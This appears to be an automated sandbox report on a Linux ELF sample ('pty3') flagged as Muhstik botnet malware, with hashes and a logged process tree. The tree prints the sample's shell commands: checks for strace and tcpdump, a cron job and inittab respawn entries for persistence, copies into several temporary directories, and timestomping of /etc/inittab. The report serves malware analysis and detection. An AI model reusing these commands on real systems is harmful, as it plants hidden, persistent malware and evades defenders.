Analysis

  • max time kernel
    0s
  • max time network
    102s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • submitted
    25-04-2022 23:53

General

  • Target

    pty3

  • Size

    98KB

  • MD5

    582a434ba0f2e04bd8b5495c50320068

  • SHA1

    b3888d650646aa63423765e686a14ddc82ee52be

  • SHA256

    7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3

  • SHA512

    5d4075888d1414f57edd832c6fb7151103af441eafebfdeb97be077bcfa504429f792c1fb23f18674aaf94ba1c6fa8d42e7c73a0d7f2d845f7d9faa605ac6fe4

Score
10/10

Malware Config

Signatures

  • suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity

    suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity

  • Writes file to system bin folder 1 TTPs 3 IoCs
  • Modifies rc script 1 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Write file to user bin folder 1 TTPs 2 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./pty3
    ./pty3
    1⤵
    • Modifies rc script
    • Writes file to tmp directory
    PID:571
  • /bin/sh
    sh -c "pidof -x strace > /dev/null"
    1⤵
      PID:572
      • /bin/pidof
        pidof -x strace
        2⤵
          PID:573
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        1⤵
          PID:574
          • /bin/pidof
            pidof -x tcpdump
            2⤵
              PID:575
          • /bin/sh
            sh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"
            1⤵
              PID:578
              • /bin/cat
                cat /etc/inittab
                2⤵
                  PID:580
                • /bin/grep
                  grep -v /tmp/pty3
                  2⤵
                    PID:582
                • /bin/sh
                  sh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                  1⤵
                    PID:579
                    • /usr/bin/crontab
                      crontab -l
                      2⤵
                        PID:583
                      • /bin/grep
                        grep /tmp/pty3
                        2⤵
                          PID:585
                        • /bin/grep
                          grep -v "no cron"
                          2⤵
                            PID:587
                          • /usr/bin/crontab
                            crontab -
                            2⤵
                              PID:591
                          • /bin/sh
                            sh -c "crontab -r"
                            1⤵
                              PID:581
                              • /usr/bin/crontab
                                crontab -r
                                2⤵
                                  PID:584
                              • /bin/sh
                                sh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"
                                1⤵
                                  PID:586
                                • /bin/sh
                                  sh -c "cat /etc/inittab2 > /etc/inittab"
                                  1⤵
                                    PID:588
                                    • /bin/cat
                                      cat /etc/inittab2
                                      2⤵
                                        PID:589
                                    • /bin/sh
                                      sh -c "rm -rf /etc/inittab2"
                                      1⤵
                                        PID:592
                                        • /bin/rm
                                          rm -rf /etc/inittab2
                                          2⤵
                                            PID:594
                                        • /usr/bin/crontab
                                          crontab -l
                                          1⤵
                                            PID:593
                                          • /bin/sh
                                            sh -c "touch -acmr /bin/ls /etc/inittab"
                                            1⤵
                                              PID:595
                                              • /usr/bin/touch
                                                touch -acmr /bin/ls /etc/inittab
                                                2⤵
                                                  PID:596
                                              • /bin/sh
                                                sh -c "/bin/uname -n"
                                                1⤵
                                                  PID:604
                                                  • /bin/uname
                                                    /bin/uname -n
                                                    2⤵
                                                      PID:606
                                                  • /bin/sh
                                                    sh -c "cp -f /tmp/pty3 /dev/shm/pty3"
                                                    1⤵
                                                      PID:605
                                                      • /bin/cp
                                                        cp -f /tmp/pty3 /dev/shm/pty3
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:607
                                                    • /bin/sh
                                                      sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"
                                                      1⤵
                                                        PID:609
                                                        • /bin/cat
                                                          cat /etc/inittab
                                                          2⤵
                                                            PID:610
                                                          • /bin/grep
                                                            grep -v /dev/shm/pty3
                                                            2⤵
                                                              PID:612
                                                          • /bin/sh
                                                            sh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                            1⤵
                                                              PID:611
                                                              • /usr/bin/crontab
                                                                crontab -l
                                                                2⤵
                                                                  PID:613
                                                                • /bin/grep
                                                                  grep /dev/shm/pty3
                                                                  2⤵
                                                                    PID:614
                                                                  • /bin/grep
                                                                    grep -v "no cron"
                                                                    2⤵
                                                                      PID:616
                                                                    • /usr/bin/crontab
                                                                      crontab -
                                                                      2⤵
                                                                        PID:620
                                                                    • /bin/sh
                                                                      sh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"
                                                                      1⤵
                                                                        PID:615
                                                                      • /bin/sh
                                                                        sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                        1⤵
                                                                          PID:617
                                                                          • /bin/cat
                                                                            cat /etc/inittab2
                                                                            2⤵
                                                                              PID:618
                                                                          • /usr/bin/crontab
                                                                            crontab -l
                                                                            1⤵
                                                                              PID:621
                                                                            • /bin/sh
                                                                              sh -c "rm -rf /etc/inittab2"
                                                                              1⤵
                                                                                PID:622
                                                                                • /bin/rm
                                                                                  rm -rf /etc/inittab2
                                                                                  2⤵
                                                                                    PID:623
                                                                                • /bin/sh
                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                  1⤵
                                                                                    PID:624
                                                                                    • /usr/bin/touch
                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                      2⤵
                                                                                        PID:625
                                                                                    • /bin/sh
                                                                                      sh -c "cp -f /tmp/pty3 /var/tmp/pty3"
                                                                                      1⤵
                                                                                        PID:626
                                                                                        • /bin/cp
                                                                                          cp -f /tmp/pty3 /var/tmp/pty3
                                                                                          2⤵
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:627
                                                                                      • /bin/sh
                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"
                                                                                        1⤵
                                                                                          PID:629
                                                                                          • /bin/cat
                                                                                            cat /etc/inittab
                                                                                            2⤵
                                                                                              PID:630
                                                                                            • /bin/grep
                                                                                              grep -v /var/tmp/pty3
                                                                                              2⤵
                                                                                                PID:632
                                                                                            • /bin/sh
                                                                                              sh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                              1⤵
                                                                                                PID:631
                                                                                                • /bin/grep
                                                                                                  grep /var/tmp/pty3
                                                                                                  2⤵
                                                                                                    PID:634
                                                                                                  • /usr/bin/crontab
                                                                                                    crontab -l
                                                                                                    2⤵
                                                                                                      PID:633
                                                                                                    • /bin/grep
                                                                                                      grep -v "no cron"
                                                                                                      2⤵
                                                                                                        PID:635
                                                                                                      • /usr/bin/crontab
                                                                                                        crontab -
                                                                                                        2⤵
                                                                                                          PID:639
                                                                                                      • /bin/sh
                                                                                                        sh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"
                                                                                                        1⤵
                                                                                                          PID:636
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                          1⤵
                                                                                                            PID:638
                                                                                                            • /bin/cat
                                                                                                              cat /etc/inittab2
                                                                                                              2⤵
                                                                                                                PID:641
                                                                                                            • /usr/bin/crontab
                                                                                                              crontab -l
                                                                                                              1⤵
                                                                                                                PID:640
                                                                                                              • /bin/sh
                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                1⤵
                                                                                                                  PID:642
                                                                                                                  • /bin/rm
                                                                                                                    rm -rf /etc/inittab2
                                                                                                                    2⤵
                                                                                                                      PID:643
                                                                                                                  • /bin/sh
                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                    1⤵
                                                                                                                      PID:644
                                                                                                                      • /usr/bin/touch
                                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                                        2⤵
                                                                                                                          PID:645
                                                                                                                      • /bin/sh
                                                                                                                        sh -c "cp -f /tmp/pty3 /var/lock/pty3"
                                                                                                                        1⤵
                                                                                                                          PID:646
                                                                                                                          • /bin/cp
                                                                                                                            cp -f /tmp/pty3 /var/lock/pty3
                                                                                                                            2⤵
                                                                                                                            • Reads runtime system information
                                                                                                                            • Writes file to tmp directory
                                                                                                                            PID:647
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"
                                                                                                                          1⤵
                                                                                                                            PID:649
                                                                                                                            • /bin/cat
                                                                                                                              cat /etc/inittab
                                                                                                                              2⤵
                                                                                                                                PID:651
                                                                                                                              • /bin/grep
                                                                                                                                grep -v /var/lock/pty3
                                                                                                                                2⤵
                                                                                                                                  PID:652
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                1⤵
                                                                                                                                  PID:650
                                                                                                                                  • /usr/bin/crontab
                                                                                                                                    crontab -l
                                                                                                                                    2⤵
                                                                                                                                      PID:653
                                                                                                                                    • /bin/grep
                                                                                                                                      grep /var/lock/pty3
                                                                                                                                      2⤵
                                                                                                                                        PID:654
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -v "no cron"
                                                                                                                                        2⤵
                                                                                                                                          PID:655
                                                                                                                                        • /usr/bin/crontab
                                                                                                                                          crontab -
                                                                                                                                          2⤵
                                                                                                                                            PID:659
                                                                                                                                        • /bin/sh
                                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"
                                                                                                                                          1⤵
                                                                                                                                            PID:656
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                            1⤵
                                                                                                                                              PID:658
                                                                                                                                              • /bin/cat
                                                                                                                                                cat /etc/inittab2
                                                                                                                                                2⤵
                                                                                                                                                  PID:661
                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                crontab -l
                                                                                                                                                1⤵
                                                                                                                                                  PID:660
                                                                                                                                                • /bin/sh
                                                                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:662
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -rf /etc/inittab2
                                                                                                                                                      2⤵
                                                                                                                                                        PID:663
                                                                                                                                                    • /bin/sh
                                                                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:664
                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                          touch -acmr /bin/ls /etc/inittab
                                                                                                                                                          2⤵
                                                                                                                                                            PID:665
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "cp -f /tmp/pty3 /var/run/pty3"
                                                                                                                                                          1⤵
                                                                                                                                                            PID:666
                                                                                                                                                            • /bin/cp
                                                                                                                                                              cp -f /tmp/pty3 /var/run/pty3
                                                                                                                                                              2⤵
                                                                                                                                                              • Reads runtime system information
                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                              PID:667
                                                                                                                                                          • /bin/sh
                                                                                                                                                            sh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:669
                                                                                                                                                              • /bin/grep
                                                                                                                                                                grep -v /var/run/pty3
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:672
                                                                                                                                                                • /bin/cat
                                                                                                                                                                  cat /etc/inittab
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:671
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:670
                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                      crontab -l
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:673
                                                                                                                                                                      • /bin/grep
                                                                                                                                                                        grep /var/run/pty3
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:675
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep -v "no cron"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:676
                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                            crontab -
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:680
                                                                                                                                                                          • /bin/sh
                                                                                                                                                                            sh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:674
                                                                                                                                                                            • /bin/sh
                                                                                                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:677
                                                                                                                                                                                • /bin/cat
                                                                                                                                                                                  cat /etc/inittab2
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:678
                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:681
                                                                                                                                                                                    • /bin/rm
                                                                                                                                                                                      rm -rf /etc/inittab2
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:683
                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                      crontab -l
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:682
                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:684
                                                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                                                            touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:685

                                                                                                                                                                                          Network

                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                          Downloads